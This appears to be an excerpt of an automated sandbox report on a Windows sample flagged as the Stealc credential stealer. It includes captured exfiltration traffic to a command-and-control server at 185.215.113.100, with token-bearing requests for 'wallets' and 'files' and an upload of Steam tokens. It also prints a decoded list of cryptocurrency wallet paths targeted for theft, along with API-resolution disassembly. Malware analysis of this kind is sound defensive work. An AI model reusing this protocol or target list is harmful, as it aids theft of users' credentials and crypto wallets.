Aug 31, 2024 22:05:30.745008945 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBG Host: 185.215.113.100 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Aug 31, 2024 22:05:31.769503117 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 22:05:31.832037926 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFI Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="message"wallets------IEHDBGDHDAECBGDHJKFI--
Aug 31, 2024 22:05:32.076731920 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:31 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Aug 31, 2024 22:05:32.165923119 CEST	467	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECF Host: 185.215.113.100 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="message"files------CBAKEBGIIDAFIDHIIECF--
Aug 31, 2024 22:05:32.409416914 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 22:05:32.455394030 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFH Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="file"------HJJKJJDHCGCAECAAECFH--
Aug 31, 2024 22:05:33.253107071 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 22:05:33.277620077 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIE Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="message"ybncbhylepme------KFBGDBFBKKJECBFHDGIE--
Aug 31, 2024 22:05:33.526581049 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:33 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5458 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 31 3c 62 72 3e 3c 62 72 3e 2a 2e 30 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6c 3c 62 72 3e 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 3c 62 72 3e 2a 2e 7a 6d 3c 62 72 3e 3c 62 72 3e 2a 2e 76 65 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6b 3c 62 72 3e 3c 62 72 3e 2a 2e 72 73 3c 62 72 3e 3c 62 72 3e 2a 2e 70 68 3c 62 72 3e 3c 62 72 3e 2a 2e 6d 78 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 74 68 3c 62 72 3e 3c 62 72 3e 2a 2e 63 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 7a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 2e 74 72 3c 62 72 3e 3c 62 72 3e 2a 2e 63 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 64 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 64 65 3c 62 72 3e 3c 62 72 3e 2a 2e 6b 72 3c 62 72 3e 3c 62 72 3e 2a 2e 6d [TRUNCATED] Data Ascii: .1<br><br>.0<br><br>.pl<br><br>.ar<br><br>.br<br><br>.ec<br><br>.eg<br><br>.in<br><br>.pt<br><br>.ac<br><br>.bd<br><br>.zm<br><br>.ve<br><br>.pk<br><br>.rs<br><br>.ph<br><br>.mx<br><br>.in<br><br>.th<br><br>.co<br><br>.id<br><br>z.id<br><br>.tr<br><br>.cz<br><br>.io<br><br>.dz<br><br>.de<br><br>.kr<br><br>.ma<br><br>.jp<br><br>.za<br><br>.sa<br><br>.vn<br><br>.cl<br><br>.pe<br><br>.ke<br><br>.tw<br><br>.cn<br><br>.my<br><br>.mz<br><br>.sv<br><br>.au<br><br>.bo<br><br>.mn<br><br>.lb<br><br>.es<br><br>.org<br><br>.uk<br><br>.ug<br><br>.sy<br><br>.gh<br><br>.bc<br><br>.ao<br><br>.ni<br><br>.ng<br><br>.to<br><br>.edu<br><br>.it<br><br>.tn<br><br>.net<br><br>.gn<br><br>.hk<br><br>.uy<br><br>.ae<br><br>.np<br><br>.mm<br><br>.do<br><br>.ir<br><br>.biz<br><br>.tv<br><br>.gt<br><br>.ps<br><br>.dk<br><br>.gp<br><br>.hu<br><br>.ge<br><br>.ci<br><br>.ca<br><br>.al<br><br>.jo<br><br>.sn<br><br>.is<br><br>.ro<br><br>.cr<br><
Aug 31, 2024 22:05:33.528662920 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECG Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 2d 2d 0d 0a Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIJDAFBKFIECBGCAKECG--
Aug 31, 2024 22:05:34.347793102 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 20:05:33 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	16:05:11
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'778'688 bytes
MD5 hash:	C062E3B2BC5292E4A0E2ABF257A1C8B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1670723245.000000000110E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00419270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,01120408), ref: 004192B1
GetProcAddress.KERNEL32(75550000,01120510), ref: 004192CA
GetProcAddress.KERNEL32(75550000,01120528), ref: 004192E2
GetProcAddress.KERNEL32(75550000,011205E8), ref: 004192FA
GetProcAddress.KERNEL32(75550000,011206C0), ref: 00419313
GetProcAddress.KERNEL32(75550000,01128740), ref: 0041932B
GetProcAddress.KERNEL32(75550000,01115828), ref: 00419343
GetProcAddress.KERNEL32(75550000,01115988), ref: 0041935C
GetProcAddress.KERNEL32(75550000,01120690), ref: 00419374
GetProcAddress.KERNEL32(75550000,01120600), ref: 0041938C
GetProcAddress.KERNEL32(75550000,011205D0), ref: 004193A5
GetProcAddress.KERNEL32(75550000,011204B0), ref: 004193BD
GetProcAddress.KERNEL32(75550000,011156C8), ref: 004193D5
GetProcAddress.KERNEL32(75550000,01120558), ref: 004193EE
GetProcAddress.KERNEL32(75550000,01120438), ref: 00419406
GetProcAddress.KERNEL32(75550000,01115908), ref: 0041941E
GetProcAddress.KERNEL32(75550000,011203D8), ref: 00419437
GetProcAddress.KERNEL32(75550000,01120450), ref: 0041944F
GetProcAddress.KERNEL32(75550000,01115AA8), ref: 00419467
GetProcAddress.KERNEL32(75550000,01120480), ref: 00419480
GetProcAddress.KERNEL32(75550000,011158A8), ref: 00419498
LoadLibraryA.KERNEL32(01120498,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(01120570,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(011204C8,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(011205B8,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(01120618,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75670000,01120630), ref: 00419512
GetProcAddress.KERNEL32(75750000,01120648), ref: 00419533
GetProcAddress.KERNEL32(75750000,01128B98), ref: 0041954B
GetProcAddress.KERNEL32(76BE0000,01128B20), ref: 0041956D
GetProcAddress.KERNEL32(759D0000,011156E8), ref: 0041958E
GetProcAddress.KERNEL32(773F0000,01128710), ref: 004195AF
GetProcAddress.KERNEL32(773F0000,NtQueryInformationProcess), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00404610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0040465F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
